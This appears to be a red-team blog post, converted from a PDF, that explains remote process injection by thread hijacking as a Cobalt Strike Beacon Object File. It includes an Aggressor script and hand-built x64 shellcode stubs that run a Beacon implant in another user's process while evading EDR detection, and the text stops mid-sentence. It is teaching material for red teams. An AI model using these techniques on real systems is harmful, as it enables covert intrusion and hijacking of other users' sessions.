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Introduction

As people I have interacted with will attest, my favorite subject in the entire world is binary
exploitation. I love everything about it, from the problem solving aspects to the OS internals,
assembly, and C side of the house. I also enjoy pushing my limits in order to find new and
creative solutions for exploitation. In addition to my affinity for exploitation, I also love to red
team. After all, this is what I do on a day to day basis. While I love to work my way around
enterprise networks, I find myself really enjoying the host-based avoidance aspects of red
teaming. I find it incredibly fun and challenging to use some of my prerequisite knowledge on
exploitation and Windows internals in order to bypass security products and stay undetected
(well, try to anyways). With Cobalt Strike, a very popular remote access tool (RAT), being so

https://connormcgarr.github.io/thread-hijacking/
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widely adopted by red teams - I thought I would investigate deeper into a newer Cobalt Strike
capability, Beacon Object Files, which allow operators to write post-exploitation capabilities in
C (which makes me incredibly happy as a person). This blog will go over a technique known
as thread hijacking and integrating it into a usable Beacon Object File.

However, before beginning, I would like to delineate this post will be focused on the
technique of remote process injection, thread hijacking, and thread restoration - not so much
on Beacon Object Files themselves. Beacon Object Files, for our purposes, are a means to
an end, as this technique can be deployed in many other fashions. As was aforementioned,
Cobalt Strike is widely adopted and I think it is a great tool and I am a big proponent of it. I
still believe at the end of the day, however, it is more important to understand the overarching
concept surrounding a TTP (Tactic, Technique, and Procedure), versus learning how to just
arbitrarily run a tool, which in turn will create a bottleneck in your red teaming methodology
by relying on a tool itself. If Cobalt Strike went away tomorrow, that shouldn’t render this TTP,
or any other TTPs, useless. However, almost contradictory, this first portion of this post will
briefly outline what Beacon Object Files are, a quick recap on remote process injection, and
a bit on writing code that adheres to the needs of Beacon Object Files.

Lastly, the final project can be found here.

Beacon Object Files - You have two minutes, go.

Back in June, I saw a very interesting blog post from Cobalt Strike that outlined a new
Beacon capability, known as Beacon Object Files. Beacon Object Files, stylized as BOFs,
are essentially compiled C programs that are executed as position-independent code within
Beacon. You bring the object file and Cobalt Strike supplies the linking. Raphael Mudge, the
creator of Cobalt Strike, has a YouTube video that goes over the intrinsics, capabilities, and
limitations of BOFs. I highly recommend you check out this video. In addition, I encourage
you to check out TrustedSec’s BOF blog and project to supplement the available Cobalt
Strike documentation for BOF development.

One thing to note before moving on is that BOFs are intended to be “lightweight” tools.
Lightweight may be subjective, but as Raphael points out in his video and blog, the main
benefit of BOFs are twofold:

1. BOFs do not spawn a temporary “sacrificial” process to perform post-exploitation work -
they’re directly executed as position-independent code within the current Beacon
process, increasing overall OPSEC (operational security).

2. BOFs are really meant to interact with the Windows API and the internal Beacon API,
as BOFs expose a set of functions operators can use when developing. This means
BOFs are smaller in size and easily allow you to invoke Window APIs and interact with
the internal Beacon API.

Additionally, there are a few drawbacks to BOFs:

https://github.com/connormcgarr/cThreadHijack
https://blog.cobaltstrike.com/2020/06/25/cobalt-strike-4-1-the-mark-of-injection/
https://www.cobaltstrike.com/help-beacon-object-files
https://youtu.be/gfYswA_Ronw
https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/
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1. Cobalt Strike is the linker for BOFs - meaning libc style functions like strlen  will not
resolve. To compensate for this, however, you can use BOF compliant decorators in
your function prototypes with the MSVCRT (Microsoft C Run-time) library and grab
such functions from there. Declaring and using such functions with BOFs will be
outlined in the latter portions of this post. Additionally, from Raphael’s CVE-2020-0796
BOF, there are ways to define your own C-style functions.

2. BOFs are executed within the current Beacon process - meaning that if your BOF
encounters some kind of internal error and fails, your Beacon process will crash as
well. This means BOFs should be carefully vetted and tested across multiple systems,
networks, and environments, while also implementing host-based checks for version
information, using properly documented data types and structures outlined in a
function’s prototype, and cleaning up any opened handles, allocated memory, etc.

Now that that’s out of the way, let’s get into a bit of background on remote process injection
and thread hijacking, as well as outline our BOF’s execution flow.

Remote Process Injection

Remote process injection, for the unfamiliar, is a technique in which an operator can inject
code into another process on a machine, under certain circumstances. This is most
commonly done with a chain of Windows APIs being called in order to allocate some
memory in the other process, write user-defined memory (usually a shellcode of some sort)
to that allocation, and kicking off execution by create a thread within the remote process. The
APIs, VirtualAllocEx , WriteProcessMemory , and CreateRemoteThread  are often
popular choices, respectively.

Why is remote process injection important? Take a look at the image below, which is a listing
of processes performed inside of a Cobalt Strike Beacon implant.

https://github.com/rsmudge/CVE-2020-0796-BOF
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As is seen above, Cobalt Strike not only discloses to the operator what processes are
running, but also under what user context a certain process is running under. This could be
very useful on a penetration test in an Active Directory environment where the goal is to
obtain domain administrative access. Let’s say you as an operator obtain access to a server
where there are many users logged in, including a user with domain administrative access.
This means that there is a great likelihood there will be processes running in context of this
high-value user. This concept can be seen below where a second process listing is
performed where another user, ANOTHERUSER  has a PowerShell.exe  process running on
the host.

Using Cobalt Strike’s built-in inject  capability, a raw Beacon implant can be injected into
the PowerShell.exe  process utilizing the remote injection technique outlined in the Cobalt
Strike Malleable C2 profile, resulting in a second callback, in context of the ANOTHERUSER
user, using the PID of the PowerShell.exe  instance, process architecture (64-bit), and the
name of the Cobalt Strike listener as arguments.
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After the injection, there is a successful callback, resulting in a valid session in context of the
OTHERUSER  user.

This is useful to a red team operator, as the credentials for the OTHERUSER  were not needed
in order to obtain access in context of said user. However, there are a few drawbacks -
including the addition of endpoint detection and response (EDR) products that detect on
such behavior. One of the indicators of compromise (IOC) would be, in this instance, a
remote thread being created in a remote process. There are more IOCs for this TTP, but this
blog will focus on circumventing the need to create a remote thread. Instead, let’s examine
thread hijacking, a technique in which an already existing thread within the target process is
suspended and manipulated in order to execute shellcode.

Thread Hijacking and Thread Restoration

As mentioned earlier, the process for a typical remote injection is:

1. Allocate a memory region within the target process using VirtualAllocEx . A handle
to the target process must already be existing with an access right of at least
PROCESS_VM_OPERATION  in order to leverage this API successfully. This handle can

be obtained using the Windows API function OpenProcess .
2. Write your code to the allocated region using WriteProcessMemory . A handle to the

target process must already be existing with an access right of at least
PROCESS_WRITE  and the previously mentioned PROCESS_VM_OPERATION  - meaning a

handle to the remote process must have both of these access rights at minimum to
perform remote injection.

3. Create a remote thread, within the remote process, to execute the shellcode, using
CreateRemoteThread .

Our thread hijacking technique will utilize the first two members of the previous list, but
instead of CreateRemoteThread , our workflow will consist of the following:

1. Open a handle to the remote process using the aforementioned access rights required
by VirtualAllocEx  and WriteProcessMemory .

2. Loop through the threads on the machine utilizing the Windows API
CreateToolhelp32Snapshot . This loop will contain logic to break  upon identifying

the first thread within the target process.
3. Upon breaking the loop, open a handle to the target thread using the Windows API

function OpenThread .
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4. Call SuspendThread , passing the former thread handle mentioned as the argument.
SuspendThread  requires the handle has an access right of
THREAD_SUSPEND_RESUME .

5. Call GetThreadContext , using the thread handle. This function requires that handles
have a THREAD_GET_CONTEXT  access right. This function will dump the current state
of the target thread’s CPU registers, processor flags, and other CPU information into a
CONTEXT  record. This is because each thread has its own stack, CPU registers, etc.

This information will be later used to execute our shellcode and to restore the thread
once execution has completed.

6. Inject the shellcode into the desired process using VirtualAllocEx  and
WriteProcessMemory . The shellcode that will be used in this blog will be the default

Cobalt Strike payload, which is a reflective DLL. This payload will be dynamically
generated with a user-specified listener that exists already, using a Cobalt Strike
Aggressor Script. Creation of the Aggressor Script will follow in the latter portions of
this blog post. The Beacon implant won’t be executed quite yet, it will just be sitting
within the target remote process, for the time being.

7. Since Cobalt Strike’s default stageless payload is a reflective DLL, it works a bit
differently than traditional shellcode. Because it is a reflective DLL, when the DllMain
function is called to kick off Beacon, the shellcode never performs a “return”, because
Beacon calls either ExitThread  or ExitProcess  to leave DllMain , depending on
what is specified in the payload by the operator. Because of this, it would not be
possible to restore the hijacked thread, as the thread will run the DllMain  function
until the operator exits the Beacon, since the stageless raw Beacon artifact does not
perform a “return”. Due to this, we must create a shellcode that our Beacon implant will
be wrapped in, with a custom CreateThread  routine that creates a local thread within
the remote process for the Beacon implant to run. Essentially, this is one of three
components our “new” full payload will “carry”, so when execution reaches the remote
process, the call to CreaeteThread , which creates a local thread, will allocate the
thread in the remote process for Beacon to run in. This means that the hijacked thread
will never actually execute the Beacon implant, it will actually execute a small
shellcode, made up of three components, that places the Beacon implant into its own
local thread, along with a two other routines that will be described here shortly. Up until
this point, no code has been executed and everything mentioned is just a synopsis of
each component’s purpose.

https://blog.cobaltstrike.com/2016/06/15/what-is-a-stageless-payload-artifact/
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8. The custom CreateThread  routine is actually executed by being called from another
routine that will be wrapped into our final payload, which is a routine for a call to
NtContinue . This is the second component of our custom shellcode. After the
CreateThread  routine is finished executing, it will perform a return back into the
NtContinue  routine. After the hijacked thread executes the CreateThread  routine,

the thread needs to be restored with the original CPU registers, flags, etc. it had before
the thread hijack occurred. NtContinue  will be talked about in the latter portions of
this post, but for now just know that NtContinue , at a high level, is a function in
ntdll.dll  that accepts a pointer to a CONTEXT  record and sets the calling thread to

that context. Again, no code has been executed so far. The only thing that has changed
is our large “final payload” has added another component to it, NtContinue .

9. The CreateThread  routine is first prepended with a stack alignment routine, which
performs bitwise AND with the stack pointer, to ensure a 16-byte alignment. Some
function calls fail if they are not 16-byte aligned, and this ensures when the shellcode
performs a call to the CreateThread  routine, it is first 16-byte aligned. malloc  is
then invoked to create one giant buffer that all of these “moving parts” are added to.

10. Now that there is one contiguous buffer for the final payload, using VirtualAllocEx
and WriteProcessMemory , again, the final payload, consisting of the three routines,
is injected into the remote process.

11. Lastly, the previously captured CONTEXT  record is updated to point the DWORD.Rip
member, which represents the value of the 64-bit instruction pointer, to the address of
our full payload.

12. SetThreadContext  is then called, which forces the target thread to be updated to
point to the final payload, and ResumeThread  is used to queue our shellcode
execution, by resuming the hijacked thread.

Before moving on, there are two things I would like to call out. The first is the call to
CreateThread . At first glance, this may seem like it is not a viable alternative to
CreateRemoteThread  directly. The benefit of the thread hijacking technique is that even

though a thread is created, it is not created from a remote process, it is created locally. This
does a few things, including avoiding the common API call chain of VirtualAllocEx ,
WriteProcessMemory , and CreateRemoteThread  and secondly, by blending in (a bit

more) by calling CreateThread , which is a less scrutinized API call. There are other IOCs
to detect this technique. However, I will leave that as an exercise to the reader :-).

Let’s move on and start with come code.

Visual Studio + Beacon Object File Intrinsics

For this project, I will be using Visual Studio and the MSVC Compiler, cl.exe . Feel free to
use mingw , as it can also produce BOFs. Let’s go over a few house rules for BOFs before
we begin.
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In order to compile a BOF on Visual Studio, open an x64 Native Tools Command Prompt
for VS  session and use the following command: cl /c /GS- INPUT.c /FoOUTPUT.o .
This will compile the C program as an object file only and will not implement stack cookies,
due to the Cobalt Strike linker obviously not being able to locate the injected stack cookie
check functions.

If you would like to call a Windows API function, BOFs require a __declspec(dllimport)
keyword, which is defined in winnt.h  as DECLSPEC_IMPORT . This indicates to the
compiler that this function is found within a DLL, telling the compiler essentially “this function
will be resolved later” and as mentioned before, since Cobalt Strike is the linker, this is
needed to tell the compiler to let the linking come later. Since the linking will come later, this
also means a full function prototype must be supplied to the BOF. You can use Visual Studio
to “peek” the prototype of a Windows API function. This will suffice in attributing the
__declspec(dllimport)  keyword to our function prototypes, as the prototypes of most

Windows API functions contain a #define  directive with a definition of WINBASEAPI , or
similar, which already contains a __declspec(dllimport)  keyword. An example would be
the prototype of the function GetProcAddress , as seen below.

This reveals the __declspec(dllimport)  keyword will be present when this BOF is
compiled.

Armed with this information, if an operator wanted to include the function GetProcAddress
in their BOF, it would be outlined as such:

WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); 

The value directly before the $  represents the library the function is found in. The relocation
table of the object file, which essentially contains pointers to the list of items the object file
needs addresses from, like functions other libraries or object files, will point to the prototyped
LIB$Function  functions memory address. Cobalt Strike, acting as the linker and loader,

will parse this table and update the relocation table of the object file, where applicable, with
the actual addresses of the user-defined Windows API functions, such as GetProcAddress
in the above test case. This blob is then passed to Beacon as a code to be executed. Not
reinventing the wheel here, Raphael outlines this all in his wonderful video.
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In addition to this, I will hit on one last thing - and that is user-supplied arguments and
returning output back to the operator. Beacon exposes an internal API to BOFs, that are
outlined in the beacon.h header file, supplied by Cobalt Strike. For returning output back to
the operator, the API BeaconPrintf  is exposed, and can return output over Beacon. This
API accepts a user-supplied string, as well as #define  directive in beacon.h , namely
CALLBACK_OUTPUT  and CALLBACK_ERROR . For instance, updating the operator with a

message would be implemented as such:

BeaconPrintf(CALLBACK_OUTPUT, "[+] Hello World!\n"); 

For accepting user supplied arguments, you’ll need to implement an Aggressor Script into
your project. The following will be the script used for this post.

https://www.cobaltstrike.com/downloads/beacon.h
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# Setup cThreadHijack 
alias cThreadHijack { 

   # Alias for Beacon ID and args 
   local('$bid $listener $pid $payload'); 
    
   # Set the number of arguments 
   ($bid, $pid, $listener) = @_; 

   # Determine the amount of arguments 
   if (size(@_) != 3) 
   { 
       berror($bid, "Error! Please enter a valid listener and PID"); 
   return; 
   } 

   # Read in the BOF 
   $handle = openf(script_resource("cThreadHijack.o")); 
   $data = readb($handle, -1); 
   closef($handle); 

   # Verify PID is an integer 
   if ((!-isnumber $pid) || (int($pid) <= 0)) 
   { 
       berror($bid, "Please enter a valid PID!\n"); 
       return; 
   } 

   # Generate a new payload  
   $payload = payload_local($bid, $listener, "x64", "thread"); 
   $handle1 = openf(">out.bin"); 
   writeb($handle1, $data1); 
   closef($handle1); 
    
   # Pack the arguments 
   # 'b' is binary data and 'i' is an integer 
   $args = bof_pack($bid, "ib", $pid, $payload); 

   # Run the BOF 
   # go = Entry point of the BOF 
   beacon_inline_execute($bid, $data, "go", $args); 
} 

The goal is to be able to supply our BOF to Cobalt Strike, with the very original name
cThreadHijack , a PID for injection and the name of the Cobalt Strike listener. The first
local  statement sets up our variables, which include the ID of the Beacon executing the

BOF, listener name, the PID, and payload, which will be generated later. The @_  statement
sets an array with the order our arguments will be supplied to the BOF, mean the command
to use this BOF would be cThreadHijack "Name of listener" PID . After, error
checking is done to determine if 3 arguments have been supplied (two for the PID and
listener and the Beacon ID, the third argument, will be supplied to the BOF without us
needing to input anything). After the object file is read in and the PID is verified, the
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Aggressor function payload_local  is used to generate a raw Cobalt Strike payload with
the user-supplied listener name and an exit method. After this, the user-supplied argument
$pid  is packed as an integer and the newly created $payload  variable is packed as a

binary value. Then, upon execution in Cobalt Strike, the alias cThreadHijacked  is
executed with the aforementioned arguments, using the function go  as the main entry
point. This script must be loaded before executing the BOF.

From the C code side, this is how it looks to set these arguments and define the functions
needed for thread hijacking.

The function BeaconDataParse  is first used, with a special datap  structure, to obtain the
user-supplied arguments. Then, the value int pid  is set to the user-supplied PID, while
the char* shellcode  value is set to the Beacon implant, meaning everything is in place.
Finally, now that details on adhering to BOF’s rules while writing C is out of the way, let’s get
into the code.

Open, Enumerate, Suspend, Get, Inject, and Get Out!
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The first step in thread hijacking is to first open a handle to the target process. As mentioned
before, calls that utilize this handle, VirtualAllocEx  and WriteProcessMemory , must
have a total access right of PROCESS_VM_OPERATION  and PROCESS_VM_WRITE . This can be
correlated to the following code.

This function accepts the user-supplied argument for a PID and returns a handle to it. After
the process handle is opened, the BOF starts enumerating threads using the API
CreateToolhelp32Snapshot . This routine is sent through a loop and “breaks” upon the

first thread of the target PID being reached. When this happens, a call to OpenThread  with
the rights THREAD_SUSPEND_RESUME , THREAD_SET_CONTEXT , and THREAD_GET_CONTEXT
occurs. This allows the program to suspend the thread, obtain the thread’s context, and set
the thread’s context.



13/40

At this point, the goal is to suspend the identified thread, in order to obtain its current
CONTEXT  record and later set its context again.

Once the thread has been suspended, the Beacon implant is remotely injected into the target
process. This will not be the final payload the hijacked thread will execute, this is simply to
inject the Beacon implant into the remote process in order to use this address later on in the
CreateThread  routine.
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Now that the remote thread is suspended and our Beacon implant shellcode is sitting within
the remote process address space, it is time to implement a BYTE  array that places the
Beacon implant in a thread and executes it.

Beacon - Stay Put!

As previously mentioned, the first goal will be to place the already injected Beacon implant
into its own thread. Currently, the implant is just sitting within the desired remote process and
has not executed. To do this, we will create a 64-byte BYTE  array that will contain the
necessary opcodes to perform this task. Let’s take a look at the CreateThread  function
prototype.

HANDLE CreateThread( 
 LPSECURITY_ATTRIBUTES   lpThreadAttributes, 
 SIZE_T                  dwStackSize, 
 LPTHREAD_START_ROUTINE  lpStartAddress, 
 __drv_aliasesMem LPVOID lpParameter, 
 DWORD                   dwCreationFlags, 
 LPDWORD                 lpThreadId 
);

As mentioned by Microsoft documentation, this function will create a thread to execute within
the virtual address space of the calling function. Since we will be injecting this routine into the
remote process, when the routine executed, it will create a thread within the remote process.
This is beneficial to us, as CreateThread  creates a local thread - but since the routine will
be executed inside of the remote process, it will spawn a local thread, instead of requiring us
to create a thread, remotely, from our current process.

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
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The function argument we will be worried about is LPTHREAD_START_ROUTINE , which is
really just a function pointer to whatever the thread will execute. In our case, this will be the
address of our previously injected Beacon implant. We already have this address, as
VirtualAllocEx  has a return value of type LPVOID , which is a pointer to our shellcode.

Let’s get into the development of the routine.

The first step is to declare a BYTE  array of 64-bytes. 64-bytes was chosen, as it is divisible
by a QWORD, which is a 64-bit address. This is to ensure proper alignment, meaning 8
QWORDS will be used for this routine - which keeps everything nice and aligned.
Additionally, we will declare an integer variable to use as a “counter” in order to make sure
we are placing our opcodes at the correct index within the BYTE  array.

BYTE createThread[64] = { NULL }; 
int z = 0; 

Since we are working on a 64-bit system, we must adhere to the __fastcall  calling
convention. This calling convention requires the first four integer arguments (floating-point
values are passed in different registers) are passed in the RCX , RDX , R8 , and R9
registers, respectively. However, the question remains - CreateThread  has a total of six
parameters, what do we do with the last two? With __fastcall , the fifth and subsequent
parameters are located on the stack at an offset of 0x20  and every 0x8  bytes
subsequently. This means, for our purposes, the fifth parameter will be located at RSP +
0x20  and the sixth will be located at RSP + 0x28 . Here are the parameters used for our
purposes.

1. lpThreadAttributes  will be set to NULL . Setting this value to NULL  will ensure
the thread handle isn’t inherited by child processes.

2. dwStackSize  will be set to 0. Setting this parameter to 0 forces the thread to inherit
the default stack size for the executable, which is fine for our purposes.

3. lpStartAddress , as previously mentioned, will be the address of our shellcode. This
parameter is a function pointer to be executed by the thread.

4. lpParameter  will be set to NULL , as our thread does not need to inherit any
variables.

5. dwCreationFlags  will be set to 0, which informs the thread we would like to thread to
run immediately after it is created. This will kick off our Beacon implant, after thread
creation.

6. lpThreadId  will be set to NULL , which is of less importance to us - as this will not
return a thread ID to the LPDWORD  pointer parameter. Essentially, we could have
passed a legitimate pointer to a DWORD  and it would have been dynamically filled with
the thread ID. However, this is not important for purpose of this post.

The first step is to place a value of NULL , or 0, into the RCX register, for the
lpThreadAttributes  argument. To do this, we can use bitwise XOR.
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// xor rcx, rcx 
createThread[z++] = 0x48; 
createThread[z++] = 0x31; 
createThread[z++] = 0xc9; 

This performs bitwise XOR with the same two values (RCX), which results in 0 as bitwise
XOR with two of the same values results in 0. The result is then placed in the RCX register.
Synonymously, we can leverage the same property of XOR for the second parameter,
dwStackSize , which is also 0.

// xor rdx, rdx 
createThread[z++] = 0x48; 
createThread[z++] = 0x31; 
createThread[z++] = 0xd2; 

The next step, is really the only parameter we need to specify a specific value for, which is
lpStartAddress . Before supplying this parameter, let’s take a quick look back at our first

injection, which planted the Beacon implant into the desired remote process.

The above code returns the virtual memory address of our allocation into the variable
placeRemotely . As can be seen, this return value is of the data type LPVOID , while the
lpStartParameter  argument takes a data type of LPTHREAD_START_ROUTINE , which is

pretty similar with LPVOID . However, for continuity sake, we will first type cast this allocation
into an LPTHREAD_START_ROUTINE  function pointer.

// Casting shellcode address to LPTHREAD_START_ROUTINE function pointer 
LPTHREAD_START_ROUTINE threadCast = (LPTHREAD_START_ROUTINE)placeRemotely; 
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In order to place this value into the BYTE  array, we will need to use a function that can copy
this address to the buffer, as the BYTE  array will only accept one byte at a time. There is a
limitation however, as BOFs do not link C-Runtime functions such as memcpy . We can
overcome this by creating our own custom memcpy  routine, or grabbing one from the
MSVCRT library, which Cobalt Strike can link to us. However, for now and for awareness of
others, we will leverage a libc.h  header file that Raphael created, which can be found
here.

Using the custom mycopy  function, we can now perform a mov r8,
LPTHREAD_START_ROUTINE  instruction.

// mov r8, LPTHREAD_START_ROUTINE 
createThread[z++] = 0x49; 
createThread[z++] = 0xb8; 
mycopy(createThread + z, &threadCast, sizeof(threadCast)); 
z += sizeof(threadCast); 

https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c
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Notice how the end of this small shellcode blob contains an update for the array index
counter z , to ensure as the array is written to at the correct index. We have the luxury of
using a mov r8, LPTHREAD_START_ROUTINE , as our shellcode pointer has already been
mapped into the remote process. This will allow the CreateThread  routine to find this
function pointer, in memory, as it is available within the remote process address space. We
must remember that each process on Windows has its own private virtual address space,
meaning memory in one user mode process isn’t visible to another user mode process. As
we will see with the NtContinue  stub coming up, we will actually have to embed the
preserved CONTEXT  record of the hijacked thread into the payload itself, as the structure is
located in the current process, while the code will be executing within the desired remote
process.

Now that the lpStartAddress  parameter has been completed, lpParameter  must be set
to NULL . Again, this can be done by utilizing bitwise XOR.

// xor r9, r9 
createThread[z++] = 0x4d; 
createThread[z++] = 0x31; 
createThread[z++] = 0xc9; 

The last two parameters, dwCreationFlags  and lpThreadId  will be located at an offset
of 0x20  and 0x28 , respectively, from RSP. Since R9 already contains a value of 0, and
since both parameters need a value of 0, we can use to mov  instructions, as such.

// mov [rsp+20h], r9 (which already contains 0) 
createThread[z++] = 0x4c; 
createThread[z++] = 0x89; 
createThread[z++] = 0x4c; 
createThread[z++] = 0x24; 
createThread[z++] = 0x20; 

// mov [rsp+28h], r9 (which already contains 0) 
createThread[z++] = 0x4c; 
createThread[z++] = 0x89; 
createThread[z++] = 0x4c; 
createThread[z++] = 0x24; 
createThread[z++] = 0x28; 

A quick note - notice that the brackets surrounding each [rsp+OFFSET]  operand indicate
we would like to overwrite what that value is pointing to.

The next goal is to resolve the address of CreateThread . Even though we will be resolving
this address within the BOF, meaning it will be resolved within the current process, not the
desired remote process, the address of CreateThread  will be the same across processes,
although each user mode process is mapped its own view of kernel32.dll . To resolve
this address, we will use the following routine, with BOF denotations in our code.
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// Resolve the address of CreateThread 
unsigned long long createthreadAddress = 
KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "CreateThread"); 

// Error handling 
if (createthreadAddress == NULL) 
{ 
 BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve CreateThread. Error: 
0x%lx\n", KERNEL32$GetLastError()); 
} 

The unsigned long long  variable createthreadAddress  will be filled with the address
of CreateThread . unsigned long long  is a 64-bit value, which is the size of a memory
address on a 64-bit system. Although KERNEL32$GetProcAddress  has a prototype with a
return value of FARPROC , we need the address to actually be of the type unsigned long
long , DWORD64 , or similar, to allow us to properly copy this address into the routine with
mycopy . The next goal is to move the address of CreateThread  into RAX. After this, we

will perform a call rax  instruction, which will kick off the routine. This can be seen below.

// mov rax, CreateThread 
createThread[z++] = 0x48; 
createThread[z++] = 0xb8; 
mycopy(createThread + z, &createthreadAddress, sizeof(createthreadAddress)); 
z += sizeof(createthreadAddress);

// call rax (call CreateThread) 
createThread[z++] = 0xff; 
createThread[z++] = 0xd0; 

Additionally, we want to add a ret  opcode. The way our full payload will be setup is as
follows:

1. A call to the stack alignment/ CreateThread  routine will be made firstly (the stack
alignment routine will be hit on in a latter portion of this blog). When a call
instruction is executed, it pushes a return address onto the stack. This is the address
that ret  will jump to in order to continue execution of the payload. When the stack
alignment/ CreateThread  routine is called, it will push a return address onto the stack.
This return address will actually be the address of the NtContinue  routine.

2. We want to end our stack alignment/ CreateThread  routine with a ret  instruction.
This ret  will force execution back to the NtContinue  routine. This will all be
outlined when executed is examined inside of WinDbg.

3. The call to the stack alignment/ CreateThread  routine is actually going to be a part of
the NtContinue  routine. The first instruction in the NtContinue  routine will be a call
to the stack alignment/ CreateThread  shellcode, which will then perform a ret  back
to the NtContinue  routine, where thread execution will be restored. Here is a quick
visual.
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PAYLOAD = NtContinue shellcode calls stack alignment/CreateThread shellcode
-> stack alignment/CreateThread shellcode executes, placing Beacon in its
own local thread. This shellcode performs a return back to the NtContinue
shellcode -> NtContinue shellcode finishes executing, which restores the
thread

In accordance with out plan, let’s end the CreateThread  routine with a 0xc3  opcode,
which is a return instruction.

// Return to the caller in order to kick off NtContinue routine 
createThread[z++] = 0xc3; 

Let’s continue by developing a NtContinue  shellcode routine. After that, we will develop a
stack alignment shellcode in order to ensure the stack pointer is 16-byte aligned, when the
first call occurs in our final payload. Once we have completed both of these routines, we will
walk through the entire shellcode inside of the debugger.

“Never in the Field of Human Conflict, Was So Much Owed, by So
Many, to NtContinue ”

Up until now, we have achieved the following:

1. Our shellcode has been injected into the remote process.
2. We have identified a remote thread, which we will later manipulate to execute our

Beacon implant
3. We have created a routine that will place the Beacon implant in its own local thread,

within the remote process, upon execution

This is great, and we are almost home free. The issue remains, however, the topic of thread
restoration. After all, we are taking a thread, which was performing some sort of action
before, unbeknownst to us, and forcing it to do something else. This will certainly result in
execution of our shellcode, however, it will also present some unintended consequences.
Upon executing our shellcode, the thread’s CPU registers, along with other information, will
be out of context from the actions it was performing before execution. This will cause the the
process housing this thread, the desired remote process we are injecting into, to most likely
crash. To avoid this, we can utilize an undocumented ntdll.dll  function, NtContinue .
As pointed out in Alex Ionescu and Yarden Shafir’s R.I.P ROP: CET Internals in Windows
20H1 blog post, NtContinue  is used to resume execution after an exception or interrupt.
This is perfect for our use case, as we can abuse this functionality. Since our thread will be
mangled, calling this function with the preserved CONTEXT  record from earlier will restore
execution properly. NtContinue  accepts a pointer to a CONTEXT  record, and a parameter
that allows a programmer to set if the Alerted state should be removed from the thread, as
outlined in its function prototype. We need not worry about the second parameter for our
purposes, as we will set this parameter to FALSE . However, there remains the issue of the
first parameter, PCONTEXT .

https://windows-internals.com/cet-on-windows/
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtContinue.html
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As you can recall in the former portion of this blog post, we first preserved the CONTEXT
record for our hijacked thread, within our BOF code. The issue we have, however, is that this
CONTEXT  record is sitting within the current process, while our shellcode will be executed

within the desired remote process. Because of the fact each user mode process has its own
private address space, this CONTEXT  record’s address is not visible to the remote process
we are injecting into. Additionally, since NtContinue  does not accept a HANDLE
parameter, it expects the thread it will resume execution for is the current calling thread,
which will be in the remote process. This means we will need to embed the CONTEXT  record
into our final payload that will be injected into the remote process. Additionally, since
NtContinue  restores execution of the calling thread, this is why we need to embed an
NtContinue  shellcode into the final payload that will be placed into the remote process.

That way, when the hijacked thread executes the NtContinue  routine, restoration of the
hijacked thread will occur, since it is the calling thread. With that said, let’s get into
developing the routine.

Synonymous with our CreateThread  routine, let’s create a 64-byte buffer and a new
counter.

BYTE ntContinue[64] = { NULL }; 
int i = 0; 

As mentioned earlier, this NtContinue  routine is going to be the piece of code that actually
invokes the CreateThread  routine. When this NtContinue  routine performs the call to
the CreateThread  routine, it will push a return address on the stack, which will be the next
instruction within this NtContinue  shellcode. When the CreateThread  shellcode
performs its return, execution will pick back up inside of the NtContinue  shellcode. With
this in mind, let’s start by using a near call, which uses relative addressing, to call the
CreateThread  shellcode.

The first goal is to start off the NtContinue  routine with a call to the CreateThread
routine. To do this, we first need to calculate the distance from this call instruction to the
location of the CreateThread  shellcode. In order to properly do this, we need to take one
thing into consideration, and that is we need to also carry the preserved CONTEXT  record
with us, for use, in the NtContinue  call. To do this, we will use a near call procedure. Near
calls, in assembly, do not call an absolute address, like the address of a Windows API
function, for instance. Instead, near call instructions can be used to call a function, relative to
the address in the instruction pointer. Essentially, if we can calculate the distance, in a
DWORD , to the CreateThread  routine, we can just invoke the opcode 0xe8 , along with a
DWORD  to represent the distance from the current memory location, in order to dynamically

call the CreateThread  routine! The reason we are using a DWORD , which is a 32-bit value,
is because the x86 instruction set, which is usable by 64-bit systems, allows either a 16-bit or
32-bit relative virtual address (RVA). However, this 32-bit value is sign extended to a 64-bit
value on 64-bit systems. More information on the different calling mechanisms on x86_64
systems can be found here. The offset to our shellcode will be the size of our NtContinue

https://www.felixcloutier.com/x86/call
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routine plus the size of a CONTEXT  record. This essentially will “jump over” the
NtContinue  code and the CONTEXT  record, in order to first execute the CreatThread

routine. The corresponding instructions we need, are as follows.

// First calculate the size of a CONTEXT record and NtContinue routine 
// Then, "jump over shellcode" by calling the buffer at an offset of the calculation 
(64 bytes + CONTEXT size) 

// 0xe8 is a near call, which uses RIP as the base address for RVA calculations and 
dynamically adds the offset specified by shellcodeOffset 
ntContinue[i++] = 0xe8; 

// Subtracting to compensate for the near call opcode (represented by i) and the 
DWORD used for relative addressing 
DWORD shellcodeOffset = sizeof(ntContinue) + sizeof(CONTEXT) - sizeof(DWORD) - i; 
mycopy(ntContinue + i, &shellcodeOffset, sizeof(shellcodeOffset)); 

// Update counter with location buffer can be written to 
i += sizeof(shellcodeOffset); 

Although the above code practically represents what was said about, you can see that the
size of a DWORD  and the value of i  are subtracted from the offset previously mentioned.
This is because, the whole NtContinue  routine is 64 bytes. By the time the code has
finished executing the entire call  instruction, a few things will have happened. The first
being, the call instruction itself, 0xe8 , will have been executed. This takes us from being at
the beginning of our routine, byte 1/64, to the second byte in our routine, byte 2/64. The
CreateThread  routine, which we need to call, is now one byte closer than when we started

- and this will affect our calculations. In the above set of instructions, this byte has been
compensated for, by subtracting the already executed opcode (the current value of i ).
Additionally, four bytes are taken up by the actual offset itself, a DWORD , which is a 4 byte
value. This means execution will now be at byte 5/64 (one byte for the opcode and four bytes
for the DWORD ). To compensate for this, the size of a DWORD has been subtracted from the
total offset. If you think about it, this makes sense. By the time the call has finished
executing, the CreateThread  routine will be five bytes closer. If we used the original offset,
we would have overshot the CreateThread  routine by five bytes. Additionally, we update
the i  counter variable to let it know how many bytes we have written to the overall
NtContinue  routine. We will walk through all of these instructions inside of the debugger,

once we have finished developing this small shellcode routine.

At this point, the NtContinue  routine would have called the CreateThread  routine. The
CreateThread  routine would have returned execution back to the NtContinue  routine,

